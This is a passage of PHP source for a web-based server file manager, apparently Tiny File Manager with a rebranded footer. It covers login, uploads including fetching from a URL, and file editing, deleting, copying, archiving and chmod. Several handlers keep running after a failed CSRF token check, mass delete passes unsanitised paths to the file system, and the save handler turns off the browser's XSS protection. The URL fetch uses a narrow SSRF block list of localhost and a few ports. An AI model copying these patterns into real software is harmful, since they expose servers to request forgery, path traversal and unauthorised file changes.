                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z" />
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z" />
                                                </g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

    <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if (isset($_POST['type']) && $_POST['type'] == "search") {
        $dir = $_POST['path'] == "." ? '' : $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false) {
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        function event_callback($message)
        {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path()
        {
            global $path, $fileinfo, $temp_file;
            return $path . "/" . basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if (!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
    $del = str_replace('/', '', fm_clean_path($_GET['del']));
    if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename'])));
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if (fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
        if (!$move) { //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if (!is_dir($from)) {
                $extension_suffix = '.' . $fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
                $fn_parts = pathinfo($fn_duplicate);
                $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
                $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
        } else {
            fm_set_msg(lng('Paths must be not equal'), 'alert');
        }
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }

    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    // Verify the token to ensure it's valid
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
        exit;
    }

    // Clean the download file path
    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl); // Prevent directory traversal attacks

    // Define the file path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    // Check if the file exists and is valid
    if ($dl != '' && is_file($path . '/' . $dl)) {
        // Close the session to prevent session locking
        if (session_status() === PHP_SESSION_ACTIVE) {
            session_write_close();
        }

        // Call the download function
        fm_download_file($path . '/' . $dl, $dl, 1024); // Download with a buffer size of 1024 bytes
        exit;
    } else {
        // Handle the case where the file is not found
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if (isset($_POST['token'])) {
        if (!verifyToken($_POST['token'])) {
            $response = array('status' => 'error', 'info' => "Invalid Token.");
            echo json_encode($response);
            exit();
        }
    } else {
        $response = array('status' => 'error', 'info' => "Token Missing.");
        echo json_encode($response);
        exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array(
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array(
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response);
        exit();
    }

    $targetPath = $path . $ds;
    if (is_writable($targetPath)) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if ($chunkTotal) {
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array(
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array(
                            'status'    => 'error',
                            'info' => "failed to open output stream",
                            'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                    );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists($fullPath)) {
                        $ext_1 = $ext ? '.' . $ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }
            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if (file_exists($fullPath)) {
                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array(
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array(
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach ($files as $file) {
        array_push($sanitized_files, fm_clean_path($file));
    }

    $files = $sanitized_files;

    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.' . $ext;
        }

        if ($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if ($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path, null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH = FM_PATH;
